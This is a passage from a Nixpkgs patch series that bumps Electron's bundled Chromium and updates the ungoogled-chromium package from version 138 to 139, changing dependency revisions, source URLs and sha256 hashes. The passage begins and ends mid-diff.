+        "chrome": "138.0.7204.185",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.168"
+            "version": "138.0.7204.185"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-mQvwY05iCLfwJxIQAL20PZ0k67Z7prxyIedQujtdHxw=",
+                    "hash": "sha256-ak77DywFKuMOKy+N73rTBFBMdv1wRJ8kSQCmB4lH+Nk=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.168",
+                    "tag": "138.0.7204.185",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-GPUQz5Ni1FovBcHEWl1ONx2ZKFsLDweMgMxo/CjZ+zs=",
+                    "hash": "sha256-goJ68k58a4XFoXuWAqFhSLoVooK/n3IGOzyVgGlyrfM=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.5"
+                    "tag": "v37.2.6"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2988,8 +2988,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo=",
-                    "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
+                    "hash": "sha256-DwkvDbYKdHfpfKXYaszcK/54Zi2Q52dd9QAUR+Ex+b4=",
+                    "rev": "634ef4ab735f8fc717eb17935d5a0f1b9831d852",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3954,8 +3954,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk=",
-                    "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
+                    "hash": "sha256-/2cw/iZ9zbCMMiANUfsWpxYUzA3FDfUIrjoJh/jc0XI=",
+                    "rev": "54f355e9ad22c93162d7d9d94c849c729d64bee7",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3964,6 +3964,6 @@
         "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
         "modules": "136",
         "node": "22.17.1",
-        "version": "37.2.5"
+        "version": "37.2.6"
     }
 }

From 3b07c0b2670d4a69126603f316d9bf32cf83f48c Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 7 Aug 2025 00:56:55 +0200
Subject: [PATCH 3277/4511] ungoogled-chromium: 138.0.7204.183-1 ->
 139.0.7258.66-1

https://developer.chrome.com/blog/new-in-chrome-139

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop.html

This update includes 12 security fixes.

(cherry picked from commit 25c7851b328dbb68b0be4203bd95833e272b9e5b)
---
 .../networking/browsers/chromium/info.json    | 274 +++++++++---------
 .../browsers/chromium/ungoogled-flags.toml    |   1 -
 2 files changed, 137 insertions(+), 138 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index a7dd24f6c91c..eb1b32f6892f 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,27 +802,27 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.183",
+    "version": "139.0.7258.66",
     "deps": {
       "depot_tools": {
-        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
-        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
+        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
+        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "gn": {
-        "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
-        "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
+        "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
+        "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.183-1",
-        "hash": "sha256-fJv7R8d/vmPROQUaxxqGoFtEqdEioOJuQ1Cnie7auJI="
+        "rev": "139.0.7258.66-1",
+        "hash": "sha256-/8zIJk1RxmFPt81qKCXpEEOrH2Jg6cdHGPdtp0zxdHE="
       },
-      "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
+      "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e90faf484ddbc033fc9bf337621761d3dd5c5289",
-        "hash": "sha256-/UFIed+S9XLmR3p8KVnIncxl3a7bIqKPLh6vcEMvAsE=",
+        "rev": "a62d329947691f76c376a873eae39f56381103c8",
+        "hash": "sha256-RWqOw0Kogz2GwbICet7NdcGnZMrkkE4bu70jU+tbYFQ=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -832,28 +832,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "57196dd146582915c955f6d388e31aea93220c51",
-        "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4="
+        "rev": "2a4f69a118bdc5d03c415de1b9b166b2f1d4084f",
+        "hash": "sha256-RHh2WjV65ROxGPboxztrMUbxzVuPfAkLQkoooEOs7k0="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
-        "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko="
+        "rev": "2c359c239b138a20a03f798e47889448ef131c22",
+        "hash": "sha256-WbEMS4wowBw1j7UT/5G5DSmgy5ldmdjxMszYtobr9UI="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
-        "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk="
+        "rev": "e44c3c4560f1742744ef3f9fb4217a5f26ebca1b",
+        "hash": "sha256-WIJAAHO+n6C5N7nyw8m8xGXr/OXvRGfsScBBdUyjxyg="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
-        "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY="
+        "rev": "5bbf35ae6801f579c523893176789774c0726e22",
+        "hash": "sha256-hpOxKXZkZEWNptp31B1DZ8V9E7LsRbbYdPdUD7EYA+8="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
-        "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A="
+        "rev": "79a5aa1b7fcbdf3397bc2a08cbd6ef5c302dfb5a",
+        "hash": "sha256-lddA/+ol5crXlEmRa/JqWvnLTGmyKDUMTlTHC1pFLwc="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -872,18 +872,18 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "d21d90790d8ea421b317c4cb52a0d94133422796",
-        "hash": "sha256-X9GIZkPokZ8ojNVDScDQL8D0tJGsaQMg8ncenuBzFHk="
+        "rev": "a812d22617824ad2cd291e110378ccec5ae7735f",
+        "hash": "sha256-LNLHuhVKulsp0w+rXNqwC9Kh2QdouUvMX3ZNFJKv6t0="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
-        "rev": "852a81f0ae3ab350041d2e44d207a42fb0436ae1",
-        "hash": "sha256-3JBBcBg2ep/7LnvMHBWnqAFG+etETArFXZr4Klv30T4="
+        "rev": "a4cbc4325e6de42ead733f2af43c08292d0e65a8",
+        "hash": "sha256-voZaq/OiP5/QSSZmBx1ifriBc6HQ9+m4pUz0o9+O9x8="
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "3b42119c3e4be5d4720c3c1b384106fa43e9b5e3",
-        "hash": "sha256-UYyBMjv6ATIwBXYngGof85pBCHXb/jYXetVo0oBrHf8="
+        "rev": "823662119bac4eb4a2771a1d45a8c00b5c6737ce",
+        "hash": "sha256-YyNQ7RLkNzV2fbjKuwTT3BSL70Qntb2TY633sbKFD/I="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
-        "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c="
+        "rev": "0145c376fadde16390298681252785f98ae90185",
+        "hash": "sha256-8ztvupTvp5v8lTq3eo/viR9X85qm+bw8299jxr6XslE="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -912,14 +912,19 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "c9d2e24d1a6da00165a0b5908ea4ba05c2e5f0b2",
-        "hash": "sha256-EFhi4dELfyq6FcB+YFlzKfoXz44i5ieFK1KUlFzqE1I="
+        "rev": "4c617fa74b67a177c7bde5f48c73f5a5509121ed",
+        "hash": "sha256-fl3yXkdi1KqrrmHB9k+l/eaINuFHgruUL6MB/9QXvhE="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
         "rev": "d708a2602a5947ee068f784daa1594a673d47c4a",
         "hash": "sha256-GaRtZmYqajLUpt7ToRfMLBlyMiJB5yT9BaaT9pHH7OM="
       },
+      "src/third_party/readability/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/mozilla/readability.git",
+        "rev": "04fd32f72b448c12b02ba6c40928b67e510bac49",
+        "hash": "sha256-yUf4UTwcJ7H0tuN+e6c92F4UUSXjmTNOIKqNZA4+zAo="
+      },
       "src/third_party/content_analysis_sdk/src": {
         "url": "https://chromium.googlesource.com/external/github.com/chromium/content_analysis_sdk.git",
         "rev": "9a408736204513e0e95dd2ab3c08de0d95963efc",
@@ -927,13 +932,13 @@
       },
       "src/third_party/dav1d/libdav1d": {
         "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git",
-        "rev": "8d956180934f16244bdb58b39175824775125e55",
-        "hash": "sha256-+DY4p41VuAlx7NvOfXjWzgEhvtpebjkjbFwSYOzSjv4="
+        "rev": "63bf075aada99afa112f84c61ddc9cead8ce04d3",
+        "hash": "sha256-TD4RZSNOmlNFJQReViaNxMEgWhdXGccLazBzmd+MNs8="
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "1fde167ae683982d77b9ca7e1308bf9f498291e8",
-        "hash": "sha256-PbDTKSU19jn2hLDoazceYB/Rd6/qu6npPSrjOdeXFuU="
+        "rev": "46b4670bc67cb4f6d34f6ce6a46ba7e1d6059abf",
+        "hash": "sha256-fLyP1ww4gtxOnT7FPWfjYS1+DIex+jfufCz7nZS6L10="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -942,8 +947,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "d72e2b1a15d22fc825e2f3c939f1baac43281ae9",
-        "hash": "sha256-0LfNcR1FXy5GcL2yHHA6A7EJIWtZU1U/2xSq/eysUa0="
+        "rev": "d1d0a31a7a6a039a35d3b8bc9586b23c57bea2a5",
+        "hash": "sha256-DCQVRuAEYOne4x2OJMr62HLx7kyan3Uj6UwXnxuDNpg="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -962,13 +967,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
-        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
+        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
       },
       "src/third_party/dawn/third_party/webgpu-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
-        "rev": "60cd9020309b87a30cd7240aad32accd24262a5e",
-        "hash": "sha256-+Kf4yPBhM6y2kYTZud9vCavT/BBOzDBsph5+/bUuwkM="
+        "rev": "4f617851dfa20bd240436d9255bcb7e4dbbb1e3f",
+        "hash": "sha256-ugbed1toiw7aY/v9E6akjFGARBe0/mhRZI9MSHG/JnI="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -982,13 +987,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
-        "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM="
+        "rev": "81be8eb2ca225281bb263ac09ece5370d6462a7d",
+        "hash": "sha256-/GYjjNmbj+bAYy5V15rRkZo54nUx0w0iAujBmTrc1/s="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
-        "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo="
+        "rev": "9d1f417714a6883f8d4e345c07802eb79edd2e90",
+        "hash": "sha256-yxeNERobO7TxJWUfppbBTysPMTifC2xzjUrN6Yzud+U="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -997,8 +1002,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
-        "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0="
+        "rev": "c4f7831fe85d210ed50572e54d0cb1a26ccc401a",
+        "hash": "sha256-EKObRlHf5Cu7VyntXR2DC62KaBTciAyvSywyAt5gWy8="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -1022,8 +1027,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "39ea79a3c132f4e678695c579ea9353d2bd29968",
-        "hash": "sha256-uochXC0AtOw8N/ycyVJdiRw4pibCW2ENrFMT3jtxDSg="
+        "rev": "d7427551d6531037da216d20cd36feb19ed4905f",
+        "hash": "sha256-gJgvE3823NyVOIL0Grkldde3U/N9NNqlLAA0btj3TSg="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -1032,23 +1037,23 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "fe88d943e5f328b34e38b91296db39650f6ec6f3",
-        "hash": "sha256-WlSxI1J+HjAD2UaQjW3oOQpZDnMn/ROpTLYTP4efTi4="
+        "rev": "349c5cb547162b967df40a336fc08bb18819a5e1",
+        "hash": "sha256-nSU/Od8TupR6dOVr6XC9btwUkjbQ6m3Oh3tChYo5i4g="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "feff46a3cd49eb39667205cdfa2b490bcffc9ba1",
-        "hash": "sha256-YomhvLtDFkGWyivN81gRxtOh9U32Zt6+/obTwccJuRo="
+        "rev": "77308ff3c8445656fd104cd80e3bd933b23cb05d",
+        "hash": "sha256-ONQSTRjrleGERU2ioaCKBcpYT1vhad4hYj/x0MIOh1Q="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
-        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
+        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
+        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "634ef4ab735f8fc717eb17935d5a0f1b9831d852",
-        "hash": "sha256-DwkvDbYKdHfpfKXYaszcK/54Zi2Q52dd9QAUR+Ex+b4="
+        "rev": "bc417052ebef6175721d690a4910e717d92181be",
+        "hash": "sha256-XoI3HbIV52VWbw15Lsk/gwmy09EtenD7iwXVQse5uVs="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1062,8 +1067,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "ae3aba99db4c829b4cc4d9fdd54321dedd814dc4",
-        "hash": "sha256-dWWjpQ6M7udOQqUV6P9go3R3O4J2XYpvkngJjRDY4v8="
+        "rev": "d0b490ee091629068e0c11953419eb089f9e6bb2",
+        "hash": "sha256-EmpuOQxshAFa0d6Ddzz6dy21nxHhSn+6Aiz18/o8VUU="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -1092,8 +1097,8 @@
       },
       "src/third_party/fontconfig/src": {
         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
-        "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y="
+        "rev": "c527fe1452d469e5fa1a211180dd40bcdb79fb2a",
+        "hash": "sha256-dmzY7TcNpZA9SxHn5nN0IaTzBbwCqd1PV5Sg4RuY7aI="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -1107,13 +1112,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "738905b34bd1f5a8ff51bd2bc8e38a2d8be9bfd6",
-        "hash": "sha256-j5FPldhIOzsOsFBAMyNh44FTeOD8Gm3scoi3B3hhgKQ="
-      },
-      "src/third_party/freetype-testing/src": {
-        "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
-        "rev": "04fa94191645af39750f5eff0a66c49c5cb2c2cc",
-        "hash": "sha256-cpzz5QDeAT3UgAZzwW7c0SgLDQsBwy/1Q+5hz2XW4lE="
+        "rev": "43940e4cb8fa6fec96cd52669544629c5eef58fa",
+        "hash": "sha256-1fnH0Qm9qtzjwBNlyHVQrVvvFelKIdhFMhA0zDxQVUY="
       },
       "src/third_party/fxdiv/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git",
@@ -1127,13 +1127,13 @@
       },
       "src/third_party/ink/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink.git",
-        "rev": "da9cb551ada1e55309b0ac89b9fbff2d29dbfe1e",
-        "hash": "sha256-MqJXwtUGL/IakwOO63JX4gx0gTocgQT3hbhw6OcYUbc="
+        "rev": "4e6081ad7052f97df7d77e1d87cea2d70c18a47b",
+        "hash": "sha256-SVwZWhM63iN2ajTMldgug0mfJV1rdvxTZwj/zyLe4WA="
       },
       "src/third_party/ink_stroke_modeler/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git",
-        "rev": "03db1ed37b8b10b47d62ed0fa142d198a3861689",
-        "hash": "sha256-jnIljheEBq96e6zZO87bhVJbA1vIjiRzm1Hh6YMBdnU="
+        "rev": "fe79520c9ad7d2d445d26d3c59fda6fc54eb4d5c",
+        "hash": "sha256-4iXoBgCCbWCqGbpchiAYQhKBK9rO1Xb6wP98iMd06cY="
       },
       "src/third_party/instrumented_libs": {
         "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git",
@@ -1157,8 +1157,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
-        "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0="
+        "rev": "35b75a2cba6ef72b7ce2b6b94b05c54ca07df866",
+        "hash": "sha256-wB33XoxaMQuBls7tNIJ1u61ocKaMw4PyHXBXf/bMNTM="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -1187,8 +1187,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
-        "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas="
+        "rev": "45a1c3ad5ac3de58c8e9a3f89036e3f954820d4c",
+        "hash": "sha256-qNGviVNU5VKCVQ1KkGmjGAaXF+ijL3s/u2yN+Ee5rmo="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -1202,8 +1202,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
-        "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc="
+        "rev": "0ddc6630b3723b14b164752d46c27752f078ddd3",
+        "hash": "sha256-cs1+5vBEFPqzi1vbxiSgujrLIoaXZROZaRJq2gRdUrE="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -1212,8 +1212,8 @@
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "959322177f40f2e0f1ecacd8a1aea2805e67b62b",
-        "hash": "sha256-qFLs3gMV0v6c0gjyn29D6pRxSAKumpzAWVgHabPFWRw="
+        "rev": "fff5c22e3178a633f57e4ad1fb5ad96a6116240a",
+        "hash": "sha256-2mXmDWn292dNA85EUN5sxarOle5HEW5t526SM1UPeKg="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -1222,8 +1222,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "539ab943598b505832a25a2222aa8957f1a20d6f",
-        "hash": "sha256-mE6IoHpLV0LUWEeeiWycXtOhIbhkPvVdLvsPSyv4xPk="
+        "rev": "6947a460f6b55ef5613c36263049ecf74c5ec1cd",
+        "hash": "sha256-lbsSiSRY3IikAKg30/gK3ncPxzOMhOUSQxvUIUCtJB0="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -1232,8 +1232,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "dd661c033abdde11022779f40375c52632a9f43a",
-        "hash": "sha256-1/G06WCO5ssBS3+T6E3rnGdIf0r205wVxfJX7lgivR4="
+        "rev": "ba41f91e480cfd79c97a9d1d70a4c3d42d16c72b",
+        "hash": "sha256-DIXGY1wVj2W5A91X3A2eL6Tr+CVdKhHaGHtSqBRjtPQ="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -1317,8 +1317,8 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
-        "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4="
+        "rev": "686bf6f1cde888898498f89ba9aefa66b683566a",
+        "hash": "sha256-rdeALLoqK1bth/EQY86fZC++QgMFCYyn7qMxsh9CMj0="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
@@ -1332,8 +1332,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
-        "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c="
+        "rev": "88798bcd636a93e92d69242da914deb4cec1dfb6",
+        "hash": "sha256-HPhxj3iK1YjWcfKT4o5CXhmvMBoGaA4JKco2HDf0Nec="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -1352,8 +1352,8 @@
       },
       "src/third_party/nasm": {
         "url": "https://chromium.googlesource.com/chromium/deps/nasm.git",
-        "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
-        "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs="
+        "rev": "e2c93c34982b286b27ce8b56dd7159e0b90869a2",
+        "hash": "sha256-TxzAcp+CoKnnM0lCGjm+L3h6M30vYHjM07vW6zUe/vY="
       },
       "src/third_party/neon_2_sse/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git",
@@ -1367,8 +1367,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "8cc5a0e8f6695263d44206cf5930641979cb3179",
-        "hash": "sha256-YlcvSDSCHHqDA43+hd5hpajZrIGqpn3KxhMJD8Wf+rs="
+        "rev": "dd421dc540e75bd4e52388dcb0656d4d96137a73",
+        "hash": "sha256-Bk9pD6fKdHBgnJOgqv8frA7+4WFBh837h9fXFgEebK8="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -1382,13 +1382,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "cf433ae5520d061db56391155b59b34e67484f39",
-        "hash": "sha256-FF0iXahVfqbi4OOdH9PPgCTAIQT/q0nlT/H70pubCMQ="
+        "rev": "849572b5c41e5bf59dc88bf54c41067faa9b5b00",
+        "hash": "sha256-lTUkzpzIskbEL7b2xBWT8s9YNyu1AZ235SBo5AfQtpg="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
-        "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4="
+        "rev": "18d4fdc15d027a989db705592585b924f93f1d42",
+        "hash": "sha256-ZmP/EFuFo9/xax8f+NEdGthfdAR/8+cTWoM9XPrkpcQ="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -1427,13 +1427,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "09fd22f3a4fb77ab03b7734e0c03ff7d7f97ef88",
-        "hash": "sha256-x7zGPqha12Og/AjQp1mkO0MNydM4xXvIcaapNziW0Kw="
+        "rev": "273082bef7b1bc05eddb5079b83702938e40c677",
+        "hash": "sha256-FrEUhG9G7EMiOvih0/FSlpWIuA3/wyBaQZLapYcutz4="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "a46d5732d9fca93eaec23e502e2eef814b707e6b",
